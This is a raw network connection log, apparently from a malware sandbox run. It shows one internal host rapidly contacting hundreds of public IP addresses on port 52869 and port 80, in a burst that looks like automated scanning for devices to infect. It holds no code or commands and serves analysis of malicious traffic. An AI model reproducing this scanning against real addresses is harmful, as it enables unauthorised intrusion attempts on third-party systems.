Jul 20, 2024 23:00:57.851006031 CEST	52869	33453	164.48.190.216	192.168.2.23
Jul 20, 2024 23:00:57.851130962 CEST	52869	33453	53.65.67.37	192.168.2.23
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	70.22.179.1
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	112.88.35.127
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	72.161.89.115
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	134.127.227.30
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	181.115.180.116
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	202.178.93.78
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	172.58.41.17
Jul 20, 2024 23:00:57.851269007 CEST	33453	52869	192.168.2.23	141.77.206.43
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	78.55.159.107
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	23.235.39.33
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	47.165.106.107
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	222.89.29.245
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	58.119.88.201
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	96.73.91.234
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	107.198.77.242
Jul 20, 2024 23:00:57.851295948 CEST	33453	52869	192.168.2.23	52.202.69.84
Jul 20, 2024 23:00:57.851300001 CEST	52869	33453	221.70.179.195	192.168.2.23
Jul 20, 2024 23:00:57.851423025 CEST	52869	33453	86.54.128.247	192.168.2.23
Jul 20, 2024 23:00:57.851457119 CEST	52869	33453	46.236.176.228	192.168.2.23
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	194.216.55.169
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	67.222.108.138
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	97.124.234.90
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	23.235.53.236
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	83.146.240.185
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	53.26.40.36
Jul 20, 2024 23:00:57.851830959 CEST	52869	33453	170.49.47.196	192.168.2.23
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	89.49.165.226
Jul 20, 2024 23:00:57.851830006 CEST	33453	52869	192.168.2.23	179.95.107.26
Jul 20, 2024 23:00:57.851846933 CEST	52869	33453	137.76.145.109	192.168.2.23
Jul 20, 2024 23:00:57.851861954 CEST	52869	33453	25.243.49.0	192.168.2.23
Jul 20, 2024 23:00:57.851958990 CEST	52869	33453	41.26.197.135	192.168.2.23
Jul 20, 2024 23:00:57.852217913 CEST	52869	33453	205.153.67.222	192.168.2.23
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	14.142.87.27
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	87.8.193.107
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	110.182.255.252
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	128.51.34.68
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	83.201.137.84
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	166.238.42.96
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	167.189.254.135
Jul 20, 2024 23:00:57.852444887 CEST	33453	52869	192.168.2.23	112.23.79.234
Jul 20, 2024 23:00:57.852463007 CEST	52869	33453	118.99.232.46	192.168.2.23
Jul 20, 2024 23:00:57.852477074 CEST	33453	52869	192.168.2.23	140.98.148.212
Jul 20, 2024 23:00:57.852477074 CEST	33453	52869	192.168.2.23	38.229.47.143
Jul 20, 2024 23:00:57.852477074 CEST	33453	52869	192.168.2.23	218.37.202.192
Jul 20, 2024 23:00:57.852477074 CEST	33453	52869	192.168.2.23	20.66.30.68
Jul 20, 2024 23:00:57.852478027 CEST	33453	52869	192.168.2.23	170.165.247.69
Jul 20, 2024 23:00:57.852478027 CEST	33453	52869	192.168.2.23	157.145.185.191
Jul 20, 2024 23:00:57.852478027 CEST	33453	52869	192.168.2.23	154.190.154.111
Jul 20, 2024 23:00:57.852478027 CEST	33453	52869	192.168.2.23	182.172.49.20
Jul 20, 2024 23:00:57.852572918 CEST	52869	33453	140.1.145.198	192.168.2.23
Jul 20, 2024 23:00:57.852719069 CEST	33453	52869	192.168.2.23	152.155.205.210
Jul 20, 2024 23:00:57.852719069 CEST	33453	52869	192.168.2.23	132.116.47.72
Jul 20, 2024 23:00:57.852719069 CEST	33453	52869	192.168.2.23	144.133.121.79
Jul 20, 2024 23:00:57.852719069 CEST	33453	52869	192.168.2.23	162.201.87.48
Jul 20, 2024 23:00:57.852719069 CEST	33453	52869	192.168.2.23	177.187.18.238
Jul 20, 2024 23:00:57.852719069 CEST	33453	52869	192.168.2.23	109.197.193.22
Jul 20, 2024 23:00:57.852720022 CEST	33453	52869	192.168.2.23	203.162.235.101
Jul 20, 2024 23:00:57.852720022 CEST	33453	52869	192.168.2.23	24.74.158.158
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	140.7.148.108
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	68.4.153.69
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	75.161.115.177
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	139.29.91.5
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	161.227.200.10
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	44.112.54.136
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	66.2.229.4
Jul 20, 2024 23:00:57.852752924 CEST	33453	52869	192.168.2.23	207.49.62.235
Jul 20, 2024 23:00:57.852833033 CEST	52869	33453	107.66.101.221	192.168.2.23
Jul 20, 2024 23:00:57.852907896 CEST	52869	33453	4.242.142.248	192.168.2.23
Jul 20, 2024 23:00:57.853131056 CEST	33453	52869	192.168.2.23	102.97.196.15
Jul 20, 2024 23:00:57.853131056 CEST	33453	52869	192.168.2.23	223.208.52.103
Jul 20, 2024 23:00:57.853131056 CEST	33453	52869	192.168.2.23	82.147.74.139
Jul 20, 2024 23:00:57.853131056 CEST	33453	52869	192.168.2.23	5.1.200.78
Jul 20, 2024 23:00:57.853132010 CEST	33453	52869	192.168.2.23	89.230.81.249
Jul 20, 2024 23:00:57.853132010 CEST	33453	52869	192.168.2.23	51.174.229.45
Jul 20, 2024 23:00:57.853132010 CEST	33453	52869	192.168.2.23	134.51.159.182
Jul 20, 2024 23:00:57.853132010 CEST	33453	52869	192.168.2.23	142.160.229.167
Jul 20, 2024 23:00:57.853207111 CEST	52869	33453	79.156.84.186	192.168.2.23
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	188.47.165.93
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	68.34.7.127
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	104.105.206.111
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	98.153.193.121
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	152.189.245.127
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	217.145.79.154
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	94.203.68.149
Jul 20, 2024 23:00:57.853315115 CEST	33453	52869	192.168.2.23	203.80.152.125
Jul 20, 2024 23:00:57.853557110 CEST	52869	33453	193.174.76.77	192.168.2.23
Jul 20, 2024 23:00:57.853632927 CEST	52869	33453	35.218.75.146	192.168.2.23
Jul 20, 2024 23:00:57.853701115 CEST	52869	33453	140.46.155.169	192.168.2.23
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	109.32.220.146
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	51.209.89.83
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	60.0.149.4
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	161.134.60.23
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	5.211.43.233
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	65.169.140.230
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	178.225.48.141
Jul 20, 2024 23:00:57.854060888 CEST	33453	52869	192.168.2.23	145.153.222.86
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	183.184.26.4
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	92.66.50.174
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	8.240.110.205
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	145.13.213.105
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	19.44.208.37
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	135.253.152.179
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	89.148.208.93
Jul 20, 2024 23:00:57.854159117 CEST	33453	52869	192.168.2.23	105.60.161.73
Jul 20, 2024 23:00:57.854176998 CEST	33453	52869	192.168.2.23	217.110.135.236
Jul 20, 2024 23:00:57.854177952 CEST	33453	52869	192.168.2.23	221.88.219.106
Jul 20, 2024 23:00:57.854177952 CEST	33453	52869	192.168.2.23	2.60.225.73
Jul 20, 2024 23:00:57.854177952 CEST	33453	52869	192.168.2.23	84.72.175.67
Jul 20, 2024 23:00:57.854177952 CEST	33453	52869	192.168.2.23	158.98.42.152
Jul 20, 2024 23:00:57.854177952 CEST	36013	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:00:57.854177952 CEST	36013	80	192.168.2.23	95.217.54.107
Jul 20, 2024 23:00:57.854177952 CEST	36013	80	192.168.2.23	95.64.102.24
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.65.56.41
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.206.60.205
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.252.122.113
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.170.175.133
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.58.49.71
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.212.120.98
Jul 20, 2024 23:00:57.854204893 CEST	36013	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:00:57.854523897 CEST	33453	52869	192.168.2.23	177.25.150.3
Jul 20, 2024 23:00:57.854523897 CEST	33453	52869	192.168.2.23	185.170.170.156
Jul 20, 2024 23:00:57.854523897 CEST	33453	52869	192.168.2.23	192.111.133.73
Jul 20, 2024 23:00:57.854523897 CEST	33453	52869	192.168.2.23	45.114.213.80
Jul 20, 2024 23:00:57.854523897 CEST	36013	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:00:57.854523897 CEST	36013	80	192.168.2.23	95.244.122.54
Jul 20, 2024 23:00:57.854523897 CEST	33453	52869	192.168.2.23	77.102.17.18
Jul 20, 2024 23:00:57.854523897 CEST	36013	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	185.108.54.95
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	67.206.122.119
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	163.194.122.243
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	9.159.100.194
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	94.94.56.246
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	136.164.171.90
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	31.9.83.153
Jul 20, 2024 23:00:57.855087042 CEST	33453	52869	192.168.2.23	120.109.57.215
Jul 20, 2024 23:00:57.855431080 CEST	36013	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:00:57.855431080 CEST	36013	80	192.168.2.23	95.80.234.181
Jul 20, 2024 23:00:57.855431080 CEST	36013	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:57.855432034 CEST	36013	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:57.855432034 CEST	36013	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:57.855432034 CEST	36013	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:57.855432034 CEST	36013	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:57.855432034 CEST	36013	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:57.855555058 CEST	36013	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:57.855555058 CEST	36013	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:57.855555058 CEST	36013	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:57.855555058 CEST	36013	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:57.855555058 CEST	33453	52869	192.168.2.23	47.29.48.104
Jul 20, 2024 23:00:57.855555058 CEST	36013	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:57.855555058 CEST	36013	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:57.855556011 CEST	33453	52869	192.168.2.23	39.76.213.170
Jul 20, 2024 23:00:57.855578899 CEST	36013	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:57.855580091 CEST	36013	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:57.855580091 CEST	36013	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:57.855580091 CEST	36013	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:57.855580091 CEST	36013	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:57.855580091 CEST	36013	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:57.855580091 CEST	36013	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:57.855580091 CEST	36013	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	190.37.195.36
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	125.143.137.242
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	146.41.66.42
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	59.225.101.201
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	151.122.222.112
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	43.166.133.52
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	209.153.177.252
Jul 20, 2024 23:00:57.856098890 CEST	33453	52869	192.168.2.23	188.20.88.173
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.43.131.75
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.184.245.9
Jul 20, 2024 23:00:57.856369972 CEST	36013	80	192.168.2.23	95.128.249.175
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	20.178.243.252
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	179.73.171.183
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	8.171.77.26
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	72.181.34.159
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	40.30.160.17
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	76.54.150.143
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	175.144.61.205
Jul 20, 2024 23:00:57.856395960 CEST	33453	52869	192.168.2.23	40.254.108.122
Jul 20, 2024 23:00:57.856486082 CEST	36013	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:57.856486082 CEST	36013	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:57.856486082 CEST	36013	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:57.856486082 CEST	36013	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:57.856486082 CEST	36013	80	192.168.2.23	95.117.228.230
Jul 20, 2024 23:00:57.856486082 CEST	36013	80	192.168.2.23	95.145.165.137
Jul 20, 2024 23:00:57.856486082 CEST	33453	52869	192.168.2.23	177.124.212.177
Jul 20, 2024 23:00:57.856487036 CEST	36013	80	192.168.2.23	95.142.22.113
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.158.172.2
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.211.242.128
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.189.97.107
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.175.196.190
Jul 20, 2024 23:00:57.856921911 CEST	36013	80	192.168.2.23	95.98.52.164
Jul 20, 2024 23:00:57.857554913 CEST	33453	52869	192.168.2.23	2.253.42.179
Jul 20, 2024 23:00:57.857554913 CEST	33453	52869	192.168.2.23	189.139.65.29
Jul 20, 2024 23:00:57.857554913 CEST	33453	52869	192.168.2.23	178.230.12.0
Jul 20, 2024 23:00:57.857554913 CEST	33453	52869	192.168.2.23	155.180.63.33
Jul 20, 2024 23:00:57.857554913 CEST	33453	52869	192.168.2.23	86.201.164.86
Jul 20, 2024 23:00:57.857554913 CEST	33453	52869	192.168.2.23	94.202.163.16
Jul 20, 2024 23:00:57.857554913 CEST	33453	52869	192.168.2.23	164.235.90.25
Jul 20, 2024 23:00:57.857556105 CEST	33453	52869	192.168.2.23	178.32.92.132
Jul 20, 2024 23:00:57.857747078 CEST	33453	52869	192.168.2.23	189.95.35.241
Jul 20, 2024 23:00:57.857747078 CEST	33453	52869	192.168.2.23	172.205.66.30
Jul 20, 2024 23:00:57.857747078 CEST	33453	52869	192.168.2.23	115.224.99.200
Jul 20, 2024 23:00:57.857747078 CEST	33453	52869	192.168.2.23	196.21.67.141
Jul 20, 2024 23:00:57.857747078 CEST	33453	52869	192.168.2.23	199.98.0.105
Jul 20, 2024 23:00:57.857747078 CEST	33453	52869	192.168.2.23	99.5.177.148
Jul 20, 2024 23:00:57.857747078 CEST	33453	52869	192.168.2.23	144.227.82.243
Jul 20, 2024 23:00:57.857748032 CEST	33453	52869	192.168.2.23	201.203.36.240
Jul 20, 2024 23:00:57.857799053 CEST	36013	80	192.168.2.23	95.165.189.2
Jul 20, 2024 23:00:57.857799053 CEST	36013	80	192.168.2.23	95.233.70.141
Jul 20, 2024 23:00:57.857799053 CEST	36013	80	192.168.2.23	95.9.3.94
Jul 20, 2024 23:00:57.857799053 CEST	33453	52869	192.168.2.23	203.110.188.23
Jul 20, 2024 23:00:57.857799053 CEST	36013	80	192.168.2.23	95.14.180.121
Jul 20, 2024 23:00:57.857799053 CEST	33453	52869	192.168.2.23	212.195.11.17
Jul 20, 2024 23:00:57.857799053 CEST	33453	52869	192.168.2.23	65.203.183.70
Jul 20, 2024 23:00:57.857799053 CEST	36013	80	192.168.2.23	95.60.6.69
Jul 20, 2024 23:00:57.857969046 CEST	36013	80	192.168.2.23	95.2.83.223
Jul 20, 2024 23:00:57.857969046 CEST	36013	80	192.168.2.23	95.72.243.245
Jul 20, 2024 23:00:57.857969046 CEST	33453	52869	192.168.2.23	131.188.191.206
Jul 20, 2024 23:00:57.857969046 CEST	33453	52869	192.168.2.23	83.29.55.149
Jul 20, 2024 23:00:57.857969046 CEST	33453	52869	192.168.2.23	62.104.196.17
Jul 20, 2024 23:00:57.857969046 CEST	33453	52869	192.168.2.23	47.24.197.146
Jul 20, 2024 23:00:57.858297110 CEST	36013	80	192.168.2.23	95.176.99.167
Jul 20, 2024 23:00:57.858297110 CEST	36013	80	192.168.2.23	95.185.224.200
Jul 20, 2024 23:00:57.858654976 CEST	33453	52869	192.168.2.23	151.186.190.124
Jul 20, 2024 23:00:57.858654976 CEST	33453	52869	192.168.2.23	133.63.115.113
Jul 20, 2024 23:00:57.858654976 CEST	33453	52869	192.168.2.23	209.80.78.29
Jul 20, 2024 23:00:57.858654976 CEST	33453	52869	192.168.2.23	72.75.90.157
Jul 20, 2024 23:00:57.858654976 CEST	36013	80	192.168.2.23	95.20.69.192
Jul 20, 2024 23:00:57.858654976 CEST	36013	80	192.168.2.23	95.146.123.167
Jul 20, 2024 23:00:57.858654976 CEST	36013	80	192.168.2.23	95.51.39.220
Jul 20, 2024 23:00:57.858654976 CEST	36013	80	192.168.2.23	95.163.42.168
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	137.27.10.235
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	107.193.42.157
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	173.11.106.195
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	148.184.67.225
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	97.206.15.50
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	183.157.55.69
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	52.220.87.42
Jul 20, 2024 23:00:57.858871937 CEST	33453	52869	192.168.2.23	195.218.43.41
Jul 20, 2024 23:00:57.858916044 CEST	36013	80	192.168.2.23	95.35.190.125
Jul 20, 2024 23:00:57.858916044 CEST	33453	52869	192.168.2.23	148.140.218.103
Jul 20, 2024 23:00:57.858916044 CEST	33453	52869	192.168.2.23	194.6.197.149
Jul 20, 2024 23:00:57.858916044 CEST	33453	52869	192.168.2.23	36.55.234.144
Jul 20, 2024 23:00:57.859349012 CEST	80	36013	95.65.56.41	192.168.2.23
Jul 20, 2024 23:00:57.859397888 CEST	36013	80	192.168.2.23	95.65.56.41
Jul 20, 2024 23:00:57.859405994 CEST	80	36013	95.206.60.205	192.168.2.23
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.225.30.126
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.77.96.187
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.79.97.137
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.62.65.88
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.31.250.154
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.157.63.110
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.84.171.245
Jul 20, 2024 23:00:57.859411001 CEST	36013	80	192.168.2.23	95.73.253.68
Jul 20, 2024 23:00:57.859474897 CEST	36013	80	192.168.2.23	95.206.60.205
Jul 20, 2024 23:00:57.859591961 CEST	33453	52869	192.168.2.23	111.187.155.34
Jul 20, 2024 23:00:57.859591961 CEST	33453	52869	192.168.2.23	90.194.241.10
Jul 20, 2024 23:00:57.859591961 CEST	36013	80	192.168.2.23	95.228.122.217
Jul 20, 2024 23:00:57.859591961 CEST	36013	80	192.168.2.23	95.141.12.133
Jul 20, 2024 23:00:57.859591961 CEST	33453	52869	192.168.2.23	44.27.103.182
Jul 20, 2024 23:00:57.859591961 CEST	36013	80	192.168.2.23	95.54.229.146
Jul 20, 2024 23:00:57.859591961 CEST	36013	80	192.168.2.23	95.158.161.107
Jul 20, 2024 23:00:57.859591961 CEST	36013	80	192.168.2.23	95.39.251.160
Jul 20, 2024 23:00:57.859697104 CEST	80	36013	95.252.122.113	192.168.2.23
Jul 20, 2024 23:00:57.859752893 CEST	36013	80	192.168.2.23	95.252.122.113
Jul 20, 2024 23:00:57.859927893 CEST	80	36013	95.170.175.133	192.168.2.23
Jul 20, 2024 23:00:57.859991074 CEST	36013	80	192.168.2.23	95.170.175.133
Jul 20, 2024 23:00:57.859996080 CEST	36013	80	192.168.2.23	95.68.174.131
Jul 20, 2024 23:00:57.859996080 CEST	36013	80	192.168.2.23	95.193.102.87
Jul 20, 2024 23:00:57.859996080 CEST	33453	52869	192.168.2.23	110.229.22.178
Jul 20, 2024 23:00:57.859996080 CEST	36013	80	192.168.2.23	95.200.93.32
Jul 20, 2024 23:00:57.859996080 CEST	36013	80	192.168.2.23	95.146.9.97
Jul 20, 2024 23:00:57.859996080 CEST	36013	80	192.168.2.23	95.2.38.95
Jul 20, 2024 23:00:57.859996080 CEST	36013	80	192.168.2.23	95.214.14.181
Jul 20, 2024 23:00:57.859996080 CEST	33453	52869	192.168.2.23	174.150.160.44
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.13.147.245
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.180.112.99
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.193.127.53
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.130.185.6
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.224.53.124
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.51.139.133
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.210.90.110
Jul 20, 2024 23:00:57.860084057 CEST	36013	80	192.168.2.23	95.144.123.193
Jul 20, 2024 23:00:57.860315084 CEST	80	36013	95.58.49.71	192.168.2.23
Jul 20, 2024 23:00:57.860352039 CEST	36013	80	192.168.2.23	95.58.49.71
Jul 20, 2024 23:00:57.860388994 CEST	80	36013	95.185.52.107	192.168.2.23
Jul 20, 2024 23:00:57.860403061 CEST	80	36013	95.141.82.86	192.168.2.23
Jul 20, 2024 23:00:57.860416889 CEST	80	36013	95.244.122.54	192.168.2.23
Jul 20, 2024 23:00:57.860429049 CEST	36013	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:00:57.860430956 CEST	80	36013	95.234.195.112	192.168.2.23
Jul 20, 2024 23:00:57.860445023 CEST	80	36013	95.212.120.98	192.168.2.23
Jul 20, 2024 23:00:57.860449076 CEST	36013	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:00:57.860488892 CEST	36013	80	192.168.2.23	95.244.122.54
Jul 20, 2024 23:00:57.860552073 CEST	33453	52869	192.168.2.23	43.141.96.229
Jul 20, 2024 23:00:57.860552073 CEST	33453	52869	192.168.2.23	45.112.35.59
Jul 20, 2024 23:00:57.860552073 CEST	33453	52869	192.168.2.23	8.48.56.241
Jul 20, 2024 23:00:57.860553026 CEST	33453	52869	192.168.2.23	212.84.124.92
Jul 20, 2024 23:00:57.860553026 CEST	33453	52869	192.168.2.23	1.136.253.130
Jul 20, 2024 23:00:57.860553026 CEST	33453	52869	192.168.2.23	46.114.209.73
Jul 20, 2024 23:00:57.860553026 CEST	33453	52869	192.168.2.23	187.18.104.68
Jul 20, 2024 23:00:57.860553026 CEST	33453	52869	192.168.2.23	74.129.145.150
Jul 20, 2024 23:00:57.860560894 CEST	36013	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:00:57.860574961 CEST	80	36013	95.38.106.58	192.168.2.23
Jul 20, 2024 23:00:57.860646963 CEST	80	36013	95.217.54.107	192.168.2.23
Jul 20, 2024 23:00:57.860661983 CEST	80	36013	95.128.166.108	192.168.2.23
Jul 20, 2024 23:00:57.860666037 CEST	36013	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:00:57.860675097 CEST	80	36013	95.64.102.24	192.168.2.23
Jul 20, 2024 23:00:57.860683918 CEST	36013	80	192.168.2.23	95.217.54.107
Jul 20, 2024 23:00:57.860688925 CEST	80	36013	95.87.179.26	192.168.2.23
Jul 20, 2024 23:00:57.860696077 CEST	36013	80	192.168.2.23	95.212.120.98
Jul 20, 2024 23:00:57.860702991 CEST	80	36013	95.80.234.181	192.168.2.23
Jul 20, 2024 23:00:57.860717058 CEST	80	36013	95.108.145.90	192.168.2.23
Jul 20, 2024 23:00:57.860738039 CEST	36013	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:00:57.860738039 CEST	36013	80	192.168.2.23	95.80.234.181
Jul 20, 2024 23:00:57.860743046 CEST	80	36013	95.87.77.137	192.168.2.23
Jul 20, 2024 23:00:57.860757113 CEST	80	36013	95.248.79.76	192.168.2.23
Jul 20, 2024 23:00:57.860769987 CEST	80	36013	95.55.160.81	192.168.2.23
Jul 20, 2024 23:00:57.860775948 CEST	36013	80	192.168.2.23	95.64.102.24
